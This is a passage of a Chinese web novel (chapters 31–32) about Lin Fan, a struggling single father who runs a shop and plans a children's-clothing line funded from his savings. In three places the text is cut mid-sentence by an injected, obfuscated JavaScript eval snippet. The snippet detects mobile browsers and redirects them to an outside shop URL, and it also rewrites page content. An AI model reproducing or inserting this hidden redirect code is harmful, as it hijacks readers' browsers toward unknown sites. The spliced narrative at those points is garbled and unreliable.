可没人知道,林凡心里藏着片没平息的浪,夜里总在翻涌。 他总想起1年前在南方玩具厂的日子: 十二小时轮班,坐在流水线前拧玩具螺丝,手指被机器磨出的硬茧顺着指节纹路凸起,像长了层薄薄的老树皮; 指关节处的皮肤糙得像砂纸,连握筷子都有点发僵,夹菜时总打滑,米粒“嗒嗒”掉在满是划痕的搪瓷碗里; 过年舍不得回家,就把省下来的钱寄给老家的二姨,托她照看年幼的笑笑,寄完钱自己啃着五毛钱的泡面,热气把电视里春晚的热闹都罩得发虚; 眼泪砸在泡面桶的塑料沿上,溅起星点汤花,连火腿肠都没心思拆,那肠是厂里发的年终奖,他揣了半个月都没舍得吃; 更忘不了去年笑笑发烧到四十度,小脸烧得通红,嘴唇干得起皮,起了层细细的白屑,嘴里还嘟囔着“爸爸抱”; 他抱着孩子跑遍县城三家诊所,攥着口袋里仅有的三百多块,纸币被手汗浸得发潮,边角都软了,慌得手都在抖; 当时医生皱着眉翻了翻笑笑的眼皮,语气急:“再拖要烧出问题!”他硬着头皮跟医生讨价还价:“能不能先开点退烧药?我明天就凑钱来输液。” 那时候他就暗下决心,一定要攒一笔“救命钱”,再也不让孩子受那样的罪。 如今那笔“救命钱”就躺在抽屉的铁盒里:一本写满计划的笔记本,纸边翻得起了**,有的页脚还沾着橡皮屑—— 是他去年蹲在店门口琢磨进货时,蹭到的铅笔灰,封皮上用胶带粘了道缝,是之前被笑笑撕坏的; 一张四万七千元的定期存折,封面银行logo褪成了浅灰,边角磨得发毛,连存折内页的缝都有点松,像被翻了无数遍,里面还夹着张笑笑三岁时的照片,照片边缘卷得厉害,是他总拿出来看磨的。 这钱是他攒了所有的家底:除了彩票意外的,都是自己做这些小生意赚的,他连烟酒都戒了,为了女儿笑笑,能省的都省了。 有开小店后每月抠出来的五十到一百块,进童装时多砍两块钱价,卖货时少赚五毛钱,积少成多,有时客人多给了一毛钱,他都要追出门还回去; 连笑笑每年的压岁钱都被他小心存了进去,去年笑笑收到一百二十块压岁钱,吵着要买会唱歌的芭比娃娃,眼睛亮晶晶的; 他哄着说“先存起来,等你生日再买”,后来生日只买了个三十块的普通娃娃,剩下的九十块还是进了存折,笑笑没闹,还把娃娃递给他:“爸爸存着给我买好吃的,娃娃我有就够了。” 他坐在床边时,指腹会反复蹭过存折上的数字,连“4”字浅勾的毛边、“7”字竖线末端那点磨损都摸得分明,像摸熟了自己掌纹里的苦,偶尔还会把存折贴在耳边,仿佛能听见钱存进去时的“咔嗒”声。 心里像架天平,两端的砝码沉甸甸的。左边是“安稳过日”的砝码——店里每月能赚三百多,好的时候到四百五,够买二十斤带皮猪肉(当时县城猪肉三块五一斤,二十斤正好七十块,够他和笑笑吃大半个月; 炖肉时还能加点土豆),够买五十斤新碾的大米(一块二一斤,五十斤六十块,能吃一个月,米里还带着新米的清香),够买两斤散装酱油(八毛钱一斤,装在玻璃罐里能吃俩月); 三斤盐(五毛钱一斤),还能让中午的炒青菜多放半勺油,油星子在锅里“滋滋”响,晚上的鸡蛋汤里卧两个蛋,黄澄澄的浮在汤面,而不是之前孤零零一个; 右边是“冒险向前”的秤砣——他总想起去市批发市场的场景:南方小厂的童装堆在摊位上,有的面料摸着手感糙得像砂纸,贴在胳膊上都扎人,还带着股刺鼻的化学味; 有的缝边歪歪扭扭,线头拖得老长,连剪都没剪,用手一扯就松;可经过批发商、零售商两道手,价格比出厂时翻了一倍。 上次他拿的一批牛仔裤,进价三十五,卖五十,结果有个客人洗了一次就掉色,把孩子的白T恤染得发蓝,像泼了盆墨水; 客人找上门来,脸涨得通红,他不仅退了五十块,还送了双十块的袜子赔笑脸——那五十块,是他和笑笑三天的伙食费,至今想起心里还疼得慌,夜里都能梦见那染蓝的T恤。 林凡的日常,全是藏在细节里的妥帖,像把日子缝进了棉布里,针脚细密。 每天清晨六点半,他准会推开店门,先给窗边的小盆栽浇水,那是笑笑去年在路边捡的多肉,叶子胖乎乎的,像小婴儿的手指,叶尖还带着点红。 他怕晒坏,特意放在散光的窗台上,浇水时只用小勺子,一次浇三勺,怕浇多了烂根,勺子是之前买奶粉送的,塑料柄都磨白了; 整理童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607496|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袜时,指腹会多捏两下棉线,检查有没有勾丝,发现有根线头翘起来,就摸出兜里的小剪刀——那是他从老家带来的,木柄都包了浆,磨得发亮,剪刀尖有点钝,他还自己磨过; 仔细剪掉,剪下来的线头会攒在小纸包里,攒多了给笑笑玩;有次发现一双袜子的针脚歪了,袜口有点松,他干脆坐在柜台后,用针线重新缝了一遍,线用的是耐磨的涤纶线,缝得手指发酸; 指尖被针扎了个小红点,渗出血珠,他用嘴吮了吮继续缝,最后还在袜口缝了个小小的“笑”字,针脚歪歪扭扭,却透着心意,打算留给笑笑穿,孩子见了准高兴。 中午帮客人挑童装,他会蹲下来跟孩子平视,声音放得轻轻的,像怕吓着刚出壳的小鸡: “这衣服是纯棉的,洗了不变形,你穿在身上跑,风都能从衣角钻进去,凉丝丝的; 上次有个跟你差不多大的小朋友;穿这个去广场追蝴蝶,跑了半个钟头,回来跟我说‘叔叔,这衣服不闷汗,比我妈妈买的舒服’。” 说的时候还会把衣服贴在孩子胳膊上,让孩子感受面料的软;傍晚关店后,牵着笑笑的小手往筒子楼走,听孩子数路边的石子:“一、二、三……爸爸你看,这颗石子像小月亮!” 他会弯腰捡起来,用衣角擦干净了塞给笑笑,衣角是他衬衫的下摆,洗得发蓝,还沾着点棉絮,看着孩子把石子放进小口袋,还拍了拍,怕掉出来,心里软得像化了的麦芽糖,连脚步都轻了。 筒子楼的楼道没灯,晚上黑得伸手不见五指,他每次都背着笑笑走,左手扶着墙,墙上的石灰会蹭在手上,白花花一层,右手托着孩子的腿,嘴里还数着台阶: “一、二、三……还有五步就到家啦,到家爸爸给你热牛奶。” 牛奶是袋装的,要倒在小锅里热,怕煮糊了,他会盯着锅边的小泡,冒热气了就关火。 王猛早成了他的左膀右臂,连骨头缝里都透着实诚。 搬货架时,他会把重的往自己肩上扛,货架上放着十几件厚卫衣,压得他肩膀发红,布痕印得深深的,像刻上去的,他还说 “凡子你瘦,这点活我来,我年轻力壮的,扛着跟玩似的”,说完还拍了拍肩膀,笑得露出两排白牙; 理货时,会把橡皮按颜色排得整整齐齐,红的、蓝的、黄的,像道小彩虹,连掉在地上的小纽扣都要捡回来,用清水洗干净了放在小铁盒里; 上次有件粉色童装的扣子松了,他连夜坐在店里缝,缝到手指被针扎破,渗出血珠,也只是用嘴吮了吮,没吭声; 第二天把缝好的衣服摆回货架,还特意跟林凡说“这下结实了,孩子怎么扯都掉不了,你放心”,说的时候还拽了拽扣子,证明牢固。 护笑笑更是到了“寸步不离”的地步: 笑笑吃饭时,饭粒沾在嘴角像颗小珍珠,王猛会慌忙掏出自个儿的蓝布手帕,那是他娘去年给他缝的,边角还绣了朵小梅花; 梅花的线有点松,是他娘眼神不好缝的,他平时都舍不得用,叠得方方正正放在兜里,角都没翘——轻轻蹭过孩子的脸,动作轻得怕碰疼她,蹭完还会把帕子叠好,放回兜里; 有次笑笑在店门口玩,被隔壁卖水果的小孩推了一下,坐在地上哭,眼泪像断了线的珠子,王猛赶紧跑过去,把笑笑抱起来哄,手还拍着孩子的背,像拍着易碎的宝贝; 还去找对方家长讲道理,说得对方家长连连道歉,最后还送了笑笑一个苹果,苹果有点小,却红彤彤的; 下雨时,笑笑突然发烧,王猛冒雨跑了三条街,塑料凉鞋踩在积水里“啪嗒”响,裤腿卷到膝盖,还是溅满了泥点,去诊所买退烧药,回来时衣服像从水里捞出来; 贴在背上能看见肩胛骨的形状,却先把药揣进贴肉的怀里捂热,递过来时还打了个喷嚏,声音闷在喉咙里:“快给笑笑吃,别凉着”; 孩子想玩积木,他会蹲在地上陪她搭,搭错了就挠着头笑,头发上还沾着点积木的木屑: “哎哟,笑笑教叔叔怎么搭好不好?你比叔叔聪明多啦!” 有次搭了个歪歪扭扭的房子,笑笑说“像咱们的筒子楼”,两人都笑了,笑声飘出店门,连路过的大妈都跟着乐,说“这俩跟父女似的”,王猛听了,笑得更欢了,眼角都皱起来。 第三十一章:市场分析 店里的营业额稳了。 每月除去租金(一百五十块,是筒子楼楼下的小门面,房东是个退休老师,人挺好,偶尔还会来买双童袜,总说“凡子你实在”,有时还会带块自己烤的饼干给笑笑); 进货(一千二百块左右,比如进五十件T恤,每件进价十八,就是九百块;进三十条裤子,每件进价十块,就是三百块,进货时他会把货清单列得清清楚楚,怕算错); 水电费(三十块,电费一块二一度,每月差不多二十度,晚上关店前他会检查所有灯都关了,水费三块钱一吨,每月用个三四吨,洗手都用盆接水,怕浪费); 能净赚三百多块,好的时候到四百五——这在九十年代的县城,算是不错的收入了,当时工厂的普通工人每月工资也就两百多块; 够他和笑笑过上不用顿顿喝稀粥、偶尔能吃块肉的日子,肉是买最便宜的五花肉,炖的时候放点萝卜,香得能飘满筒子楼。 可林凡没敢松劲。 他和笑笑的伙食是改善了——中午能加盘炒青菜,油放得比以前多,青菜是从街边老农那买的,五毛钱一斤,新鲜还带土,老农每次都会多给两棵; 晚上偶尔能喝碗鸡蛋汤,蛋花打得匀匀的,飘在汤里像碎云,鸡蛋是张婶家的鸡下的,比超市便宜五分钱一个,张婶总说“给孩子吃,别省,我家鸡下得多”,每次都用报纸包着,怕碰碎; 可他依旧穿那件洗得发蓝的白衬衫,袖口磨破了就用针线缝两针,针脚走得歪歪扭扭,却也结实,领口泛黄了就用肥皂多搓两遍,搓得手指都起了泡,晾在绳上时还特意拉展,怕起皱; 笑笑的裤子短了,他就找块颜色相近的布,在裤脚接一段,用缝纫机缝得整整齐齐——那缝纫机是他花八十块从旧货市场买的,有点老; 踩起来“咔嗒咔嗒”响,像在跟他说话,踩的时候还得时不时拍一下机身,不然就卡线,孩子穿着接了裤脚的裤子,还说“爸爸缝的好看,比店里的还好看”,说得他心里暖烘烘的,比吃了糖还甜。 住的还是筒子楼那间六平米的小屋,墙皮剥落的地方,他用白纸贴了贴,上面还粘着笑笑画的小太阳,红颜料有点晕开,像裹了层暖光,晚上开着15瓦的灯泡,光虽然暗,却也温馨,连影子都透着家的味,灯泡上还绕着笑笑串的纸星星,风一吹就晃。 大部分利润被他悄悄藏了起来——塞在床板下的铁盒里,铁盒是以前装饼干的,上面的图案都磨掉了; 裹在旧毛衣的夹层中,毛衣是他娘织的,有点小了,他舍不得扔;甚至把几张十元的票子夹在笑笑的《安徒生童话》里,夹在“小美人鱼”那一页,书角都被他翻得起了卷,怕丢了,也怕孩子看见闹。 凑到现在,流动现金已经近两千块。这钱攥在手里,暖得像块小暖炉,可分量又轻得像片羽毛——够补点货,比如进二十双童袜,颜色都是笑笑喜欢的粉色; 够交下月的租金;却够不上他心里那个更大的念头,那个在笔记本上画了好几个圈的“童装加工”计划,圈都画得很深,把纸都戳得有点破。 他比谁都清楚未来十几年的日子会怎么变——上次去市里,看到百货大楼里的童装专柜排起了长队,进口的小外套要一百二十块,比他店里最贵的衣服还贵两倍; 可还是有人买,家长捧着衣服跟宝贝似的,小心翼翼地叠好;听进货的小贩说,再过两年,私人服装厂会越来越多,要是还只靠倒腾别人的货,迟早会被甩在后面; 因为别人能拿到更便宜的一手货,而他只能从批发商那拿,成本高,利润薄,还容易拿到次品。可往前跑,就得动那笔定期存款; 四万七,是他的底牌,是笑笑未来的学费(当时县城小学学费一学期五十块,这钱够交十几年,还能给笑笑买课外书); 是孩子万一生病的医药费(上次笑笑发烧花了八十块,这钱够看五百多次,还能请最好的医生),是再遇到黑皮那样的麻烦时的救命钱。 动五千?一万?哪怕只是四千,也像在心上割块肉——万一亏了呢? 万一被钱老西(县城里出了名的爱打听事的人,总爱凑到店里问“凡子,最近赚了不少吧”,眼睛盯着收银盒,还会趁人不注意往柜台里瞟)察觉了呢? 这小县城里,一点风吹草动都能传得满城响,他不敢赌,也赌不起。“安于现状”还是“冒险一搏”? 这问题像根细刺,扎在他心里,连喝口水都觉得硌得慌,连梦里都在翻存折,有时梦见存折丢了,吓出一身冷汗,醒来摸遍床板才安心,手心都是汗。 转机来得像阵没预兆的春风,软乎乎地撞进了店里。 那天下午,店里进来个穿藏青色风衣的中年妇女,头发梳得一丝不苟,发梢用发胶固定住,没一根乱的; 领口别着枚小小的珍珠胸针,珍珠有点小,却亮闪闪的,在阳光下转着细弱的光,手里拎着印着“县机关”字样的文件袋,袋口用红绳系得紧实,连袋角都没磨**,一看就像机关里的干部。 她没急着说话,先在店里转了转,手指划过毛绒玩具、塑料汽车,动作轻得怕碰坏了,指尖还带着点护手霜的香味,最后停在一个进口的拼装模型前; 包装盒上印着英文,画着复杂的城堡图案,要五十八块,是店里最贵的玩具之一,平时很少有人问,落了点薄灰,她还用指尖轻轻擦了擦。 她摸了摸模型盒子,指尖在英文上顿了顿,叹了口气,语气里带着点无奈: “唉,现在孩子的东西真是越来越贵了。 我家孙子刚六岁,上周跟他爸妈去市里,看见这个就闹着要,这玩意儿快赶上我半个月工资了(她每月工资一百二十块,是县城里的高收入,平时都舍不得给自己买新衣服)。 要是咱们本地能有靠谱的儿童品牌就好了,质量好点、价格实在点,也不用总盯着这些进口货,花钱还不省心; 上次在百货大楼买的进口T恤,花了六十块,洗了一次领口就松得能套过孩子的脑袋,晒在绳上像片耷拉的破布,找过去人家还说‘是你洗的方式不对’,气得我够呛,回来就把那T恤扔衣柜最底下了。” 她说着,还指了指自己风衣的袖口:“你看我这衣服,穿了三年都没变形,袖口的扣眼都没松,是我闺女在市里给我买的,现在孩子的衣服怎么就这么不结实?” 说者无心,听者有意。 这话像道闪电,“劈”中了林凡的脑子——本地品牌?质量好、价格实在? 他瞬间想起前阵子去市批发市场的画面:南方小厂的童装堆在摊位上,有的面料摸着手感糙得像砂纸,贴在胳膊上都扎人,还带着股刺鼻的化学味; 有的缝边歪歪扭扭,线头拖得老长,连剪都没剪,用手一扯就松;上次他拿的一批西部牛仔衣,洗了就掉色,把客人的内衣染得发蓝,像泼了墨水在上面; 客人前来找话说找,他自己都脸涨得通红,赔了三十块钱,还丢了个老客户——那个客户之前每月都来买两件衣服,现在再也没来过,路过店门都绕着走,每次想起都觉得可惜。 可就算是这样的货,经过批发商、零售商两道手,价格比出厂时翻了一倍,比如一件T恤出厂价十五,批发商拿了卖二十五,他拿了再卖三十五,利润薄得像张纸,赚的都是跑腿钱,有时还得担着卖次品的风险。 要是自己直接找厂家,做些简单、舒服的基础款,贴上“笑笑”的标签,就在自己的店里卖,再往周边县城的小店推,会不会有人买? 这个念头让他心跳快了半拍,手心都冒了汗,连手指都有点发颤,他赶紧攥了攥手,把汗蹭在裤子上。 这不再是简单的“倒买倒卖”,是往产业链上游走了一小步——利润更高,还能有自己的“招牌”,不用再看别人的脸色拿货,不用再担心拿到次品。 更重要的是,这事儿能从小的来,风险可控,比如先做一百件试试,就算卖不出去,也能慢慢清货,不至于伤筋动骨,正好能试试动储备金的水,不用一下子把底都掏出来,心里也能踏实点。 当晚,林凡没再摸那本存折,而是翻开笔记本新的一页,笔尖顿了顿,重重写下“童装试水计划”五个字,墨痕透了纸背; 连纸页都被笔尖压出了小坑,写的时候笔尖还断了次墨,他舔了舔笔尖继续写,墨汁沾在嘴唇上都没发现。 15瓦的灯泡悬在房梁上,昏黄的光裹着浮尘晃悠,灯泡上还绕着只小飞虫,影子在纸上晃来晃去,像在给他伴舞,灯泡偶尔还会“滋滋”响一下,是接触不太好。 他趴在吱呀响的木桌上,一笔一划地勾思路,连指尖蹭到墨汁都没察觉,黑印子沾在纸上,也像成了计划的一部分,透着股认真劲儿,桌上还放着杯凉白开,是笑笑睡前给他倒的,杯子是搪瓷的,上面印着“好好学习”,有点掉漆。 一、市场定位:抓“实在”,不玩虚的 主打3-8岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607497|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿童基础款——就做T恤、卫衣、短裤这三样最实用的。他选这个年龄段,是观察了半年得出来的: 3岁以下的孩子,家长更倾向于买手工做的衣服,觉得更软和,贴身穿放心,有的还会自己带布料找裁缝做; 8岁以上的孩子开始挑款式,喜欢花里胡哨的卡通图案,今天喜欢奥特曼明天喜欢小公主,不好把握喜好; 而3-8岁的孩子长得快,衣服换得勤,家长更看重“耐穿、舒服、便宜”,基础款正好戳中需求,不会过时,春天买的夏天还能穿。 面料必须是纯棉,而且得是精梳棉——他上次去面料市场问过,精梳棉比普通棉布更软,洗了不缩水,纤维也细,不会磨孩子皮肤; 当时精梳棉市场价每米八块,比普通棉布(六块一米)贵两块,但他觉得值——上次有个宝妈抱着孩子来买衣服,孩子脸上还带着点小红疹; 宝妈说“我家孩子皮肤嫩,穿非纯棉的衣服就痒,起小红点,只有纯棉的能穿”,这话他记在了心里,还特意把“纯棉”两个字写在笔记本上,画了个圈,旁边注着“孩子皮肤要紧,不能省”。 做工要扎实,领口缝双层布,免得磨孩子的脖子——他见过有孩子穿单层领口的衣服,脖子被磨得发红,像起了疹子; 家长心疼得直掉眼泪,抱着孩子来找店家理论,声音都带着哭腔;袖口要卷边缝,不容易开线,孩子扯着玩也不怕,卷边的宽度都算好了,两厘米正好; 扣子选塑料的,圆润不硌肉,颜色选白色或浅蓝色,跟衣服搭,还得用双线缝,缝三圈,防止掉了噎着孩子,细节处不能马虎,每个步骤都要记下来。 价格定在“中间档”——比百货大楼的进口货便宜一半(进口T恤五六十,他的卖三十),比小摊上的糙货贵个三五块(小摊T恤二十五,面料是混纺的; 洗了容易起球,还变形,晾干后硬邦邦的),让家长觉得“花这钱值”,不是图便宜,是图孩子穿得舒服、放心,买得踏实。 他还算了笔账:一件T恤成本十五(面料八块、加工费三块五、辅料一块五、车费一块,车费是去工厂的来回钱),卖三十,能赚十五块,比之前倒腾货赚得还多,利润实在,算的时候还用算盘打了一遍,“噼里啪啦”的声儿在小屋里响。 二、生产模式:找“靠谱”,盯紧质量 去市里或邻市的小服装厂,而且必须亲自去看——他听说有些小厂为了省成本,用的是二手机器,零件都快锈了,做出来的衣服针脚歪歪扭扭,还跳针,有的甚至把坏布拼成好布用。 他打算先去东郊区的那家“利民服装厂”,上次进货时小贩跟他提过,说“那家厂老板姓赵,实在人,不搞以次充好的虚活儿,做的衣服针脚齐,车间也干净”。 去的时候要重点看三样: 一是车间干不干净,机器上有没有积灰(机器脏的厂,做出来的衣服容易沾线头,还可能有油污,孩子穿了不舒服,洗都洗不掉); 二是工人踩缝纫机的线直不直,有没有跳针——他特意学过看针脚,每厘米三针是最好的,太少容易开线,太多太密又浪费线,还硬邦邦的,摸着手感不好; 三是有没有合格的布料检测单,不能拿“三无”货糊弄,检测单上要写清楚“棉含量100%”,还要有甲醛检测合格的证明,孩子穿的衣服,安全是头等大事,不能含糊,检测单要复印一份带回来存着。 初期不包工包料,自己去面料市场挑棉线,选好颜色(浅黄、淡蓝、粉白,都是孩子喜欢的温柔色,不会太刺眼,看着也干净,浅黄像小鸡的绒毛,淡蓝像天空)、定好克重(180克,太厚孩子穿得热,尤其是夏天,一跑就出汗,衣服贴在身上难受; 太薄容易破,不耐磨,180克正好,摸着手感也厚实,有质感),再送过去加工。 这样既能盯紧质量,还能省点成本——面料市场的王老板跟他熟,王老板的儿子跟笑笑差不多大,两人还一起玩过; 王老板说“自己带料能省10%的加工费”,他算了算,一百件T恤能省七十块,够买两斤猪肉,给笑笑改善伙食,炖肉时还能加点粉条。 万一出了问题,也能及时改,比如上次批发市场的货掉色, 就是因为没盯紧染厂,这次他要亲自跟着,染布的时候去看,确保用的是环保染料; 洗了不掉色,孩子穿着也安全,染布的水要清澈,不能是黑乎乎的。 第三十二章:抉择与启程 三、设计:求“简单”,讨孩子喜欢 不搞花里胡哨的款,就借鉴市面上卖得好的版型,改点小细节——比如在T恤胸口印个小小的“笑笑”logo; 用淡蓝色的线,不扎眼,像藏了个小秘密,孩子穿在身上,还能跟同学说“这是我爸爸的店的衣服,上面有我的名字”,logo的字体选圆润的,像孩子写的字; 短裤的腰头加段软布松紧带,弹性够足,孩子自己能穿脱,不用麻烦家长,松紧带要选加宽的,三厘米宽,不会勒肚子,孩子跑跳也舒服,松紧带的颜色要跟裤子相近,不突兀; 卫衣的帽子里加层薄绒,冬天穿暖和,绒要选细的,不会掉**,孩子吸进鼻子里不好,帽子上的抽绳要短点,十厘米左右,防止孩子玩的时候被勒到,安全第一,抽绳的末端还要缝个小塑料扣,防止抽进去。 以后要是卖得好,再找美术学校的学生帮着画图案—— 他问过美术学校的老师,老师说学生画一张儿童图案也就二十块,花不了多少钱,还能有新意,比如画个小太阳; 小蝴蝶、小兔子,都是孩子喜欢的,肯定能吸引小顾客,图案要画得可爱点,不能太复杂,孩子喜欢简单的。 现在先简单点,一是省成本,二是好把控质量,复杂的图案容易印歪,颜色也容易不均,反而不好,先把基础打牢,一步一步来,不能急。 四、预算:算“精细”,一分钱掰两半花 首批先做夏装——T恤100件,短裤100件,夏天衣服好卖,孩子换得勤,脏了坏了家长也愿意再买,夏天的衣服加工也快,不用等太久。 他拿了个小算盘,噼里啪啦算了半天,算得额头都冒了点汗,生怕算错了,算的时候还把数字写在纸上,一遍一遍核对: 面料:T恤每件用一米布,100件就是100米,每米八块,共八百块;短裤每件用六分米布,100件就是60米,每米八块,共四百八十块,买布的时候要多买两米,怕有裁剪错的; 加工费:每件三块五,200件就是七百块(当时小厂的加工费行情就是三块到四块,他跟赵老板谈了谈,说以后长期合作,赵老板才给了三块五的优惠价,还说会帮他盯质量); 辅料:纽扣、线、印logo的油墨,共五十块,纽扣要多买十个,怕丢了或坏了; 车费:去市里的班车三块钱,来回六块,去面料市场和服装厂要跑两趟,共十二块,去的时候尽量坐早班车,人少还能省点时间; 算下来差不多三千八百一十二块——凑个整,四千块够了,不多花一分冤枉钱,连去市里喝碗面都打算自己带馒头,省点饭钱,馒头是前一天晚上蒸好的,用布包着,不会凉得太快。 这四千块,从储备金里拿,剩下的四万三还在存折里,就算亏了,也还有退路,心里踏实,不用慌,把钱分开拿,一部分放在贴身的兜里,一部分放在帆布包的侧兜,怕丢了。 五、风险:留“退路”,不把鸡蛋放一个篮子 100件T恤、100件短裤,就算卖得慢,也能摆着慢慢卖,实在不行就搞点“买一送小礼物”的活动。 小礼物是笑笑折的纸星星,五颜六色的,成本几乎为零,孩子还喜欢,上次有个孩子为了纸星星,缠着妈妈买了两件衣服; 效果挺好,纸星星要放在透明的小瓶子里,看着好看;最怕质量出问题,所以必须盯着工厂做,第一件成品出来先洗三次,看缩不缩水、掉不掉色、起不起球; 上次拿的T恤洗了一次就缩水,领口缩得像个小疙瘩,孩子穿不上,这次他要多试几次,要是不行,立刻改,绝不能卖给客人,砸了“笑笑宝贝屋”的招牌,招牌砸了就再也立不起来了,比丢了钱还难受。 笔尖在“四千块”那行停了停,林凡用指腹蹭了蹭纸页,墨痕有点硌手,心里的浪却慢慢平了。 这不是冲动,是算过账的——四千块,是他能从储备金里动的数,不伤筋动骨,还能试出一条路,值。 他合上笔记本,走到床边,月光从窗户缝里钻进来,像条银线,落在笑笑脸上,小脸红润润的,睫毛忽闪忽闪; 像小扇子,呼吸均匀得像吹过的春风,带着孩子特有的奶气,还能闻到孩子头发上的洗发水味,是最便宜的草莓味,混着奶气。 笑笑翻了个身,小嘴嘟囔了一句“爸爸,向日葵”,他知道孩子是想起了白天在路边看见的向日葵,金灿灿的,孩子还说要种一棵,赶紧帮她把踢开的薄被盖好; 薄被是小碎花的,洗得有点发白,俯下身,轻轻亲了亲女儿的额头,触感软乎乎的,像碰着块刚蒸好的小棉花糖,心里满是暖意,比喝了热牛奶还暖。 “笑笑,”他声音压得很低,像在跟女儿说悄悄话,又像在跟自己做承诺,“爸爸要去冒个小险。不是瞎闯,是想让咱们快点有个安稳的家—— 不用再挤六平米的小房子,不用再怕坏人来捣乱,你能在大院子里跑,能种你喜欢的向日葵,夏天摘瓜子,冬天烤红薯,还能穿爸爸给你做的衣服,上面还有你的名字呢,多好。” 说的时候还轻轻拍了拍笑笑的背,像哄孩子睡觉。 第二天一早,天刚蒙蒙亮,外面还飘着点薄雾,像给县城盖了层纱,能见度只有几米远,林凡就把王猛叫到里间; 从抽屉里拿出备用钥匙——钥匙上拴着个小铜铃,是笑笑捡的,摇起来“叮铃”响,清脆得很,递到王猛手里。 “猛子,我去市里考察几天,找新货源,笑笑和店里就交给你了。” 他顿了顿,又从口袋里掏出张纸条,上面写满了注意事项,字写得比平时大,怕王猛看不清,每个字都很用力,纸是从笔记本上撕下来的,边缘有点**: 笑笑中午要睡午觉,你帮她铺好小垫子(在衣柜第一层,蓝色带小熊的,垫子有点薄,记得垫个小毯子),盖好薄被子(被子在衣柜第三层,上面有小太阳图案,别盖太厚,孩子怕热); 她下午四点要喝牛奶,用温水冲(牛奶在柜子第二层,袋装的,别用开水,会烫着,冲好晾两分钟再给她喝,杯子是粉色的,上面有小兔子); 进货的账本在柜台下的抽屉里,卖完的货记清楚,别算错账,晚上把钱锁进铁盒(钥匙在柜台的笔筒里,黑色的那支笔后面,铁盒要放在床板下,别放在显眼的地方); 要是钱老西来,别跟他多说,就说我去进货了,过几天回来,他问什么都别搭茬,别让他看出动静,他要是赖着不走,你就说要给笑笑做饭,把他打发走; 有急事就打这个电话(是他在市里的表哥家的号,表哥在市里开饭馆,能帮衬点,号码我写在纸条背面了),或者找李干事(上次帮他们赶走黑皮的干部,人挺好,热心肠)帮忙,李干事的电话也写背面了。 王猛攥着钥匙,铜铃“叮铃”响了声,他把纸条叠了三层,塞进贴身的口袋里,拍着胸脯保证,蓝布衫都震得发皱,胸口的扣子都差点崩开: “凡子你放心!店我肯定看好,一分钱都不会少,每天晚上我给你报平安,让你睡踏实;笑笑我也护得妥妥的,她要吃啥我给她买,昨天她还说想吃糖葫芦,我明天一早就去买,买带芝麻的,甜滋滋的,她肯定喜欢! 你在外头别担心,有事儿我找李干事,他肯定帮咱们,上次黑皮那事就是他帮的忙,他人实在!” 他说着,还凑到笑笑身边,捏了捏孩子的脸蛋,动作轻得像碰着豆腐,孩子还没完全睡醒,小嘴动了动:“叔叔,糖……”王猛笑了:“醒了就有糖吃,乖。” 笑笑突然就醒了,眨着大眼睛,点了点头,小手紧紧攥着林凡的衣角,指节都泛了白,把衣角的缝线都拽得有点松,声音软得像刚蒸好的米糕: “爸爸早点回,等你,给我讲《小美人鱼》的故事,上次讲到小美人鱼救王子了,王子还没醒呢。”说的时候还拉了拉林凡的手,手心暖暖的。 林凡摸了摸女儿的头,指尖蹭过她柔软的头发,像摸过一团小云朵,头发里还沾着根小棉絮,他轻轻摘下来,亲了亲女儿的额头。 转身从床板下的铁盒里拿出四千块钱——钱被他用橡皮筋扎了四层,扎得紧紧的,最大的票子是五十的,有八十张,叠得整齐,边角都对齐了,最小的是十块的,有十张,攥在手里沉甸甸的。 压得掌心有点麻,带着纸币特有的油墨味,还能闻到点铁盒的锈味。他把钱塞进内兜,贴在胸口,能感受到纸币的纹路,像贴着自己的心跳; 又检查了一遍笔记本、身份证(怕住店要用,放在帆布包的侧兜,用塑料袋包着,怕受潮)、牙刷毛巾(带了个小布包,装着洗漱用品; 布包是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607498|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑笑妈妈以前生病缝的,歪歪扭扭的针脚,却很贴心,上面还绣了个小太阳),确认没落下东西,才背上帆布包; 帆布包上还沾着点上次进货时的面粉,是他帮面粉厂的张哥搬袋子时蹭的,他没洗,觉得有点念想,看着就想起那天的热闹,张哥还给他塞了袋新磨的面粉。 早班车的铁皮车身“哐当哐当”晃着,像个喘着气的老古董,汽油味混着车厢里的煤烟味飘过来,有点冲鼻,靠窗的座位还沾着点晨露,凉丝丝的; 座位上的木纹被磨得发亮,能看见里面的年轮,透着岁月的味,木纹里还嵌着圈浅黄的印子,是上月有乘客洒的豆浆干了留下的。 车上坐着个去市里进货的小贩,姓刘,跟林凡认识,上次一起拼过车,他凑过来说,嘴里还嚼着油条,油条渣掉在衣服上: 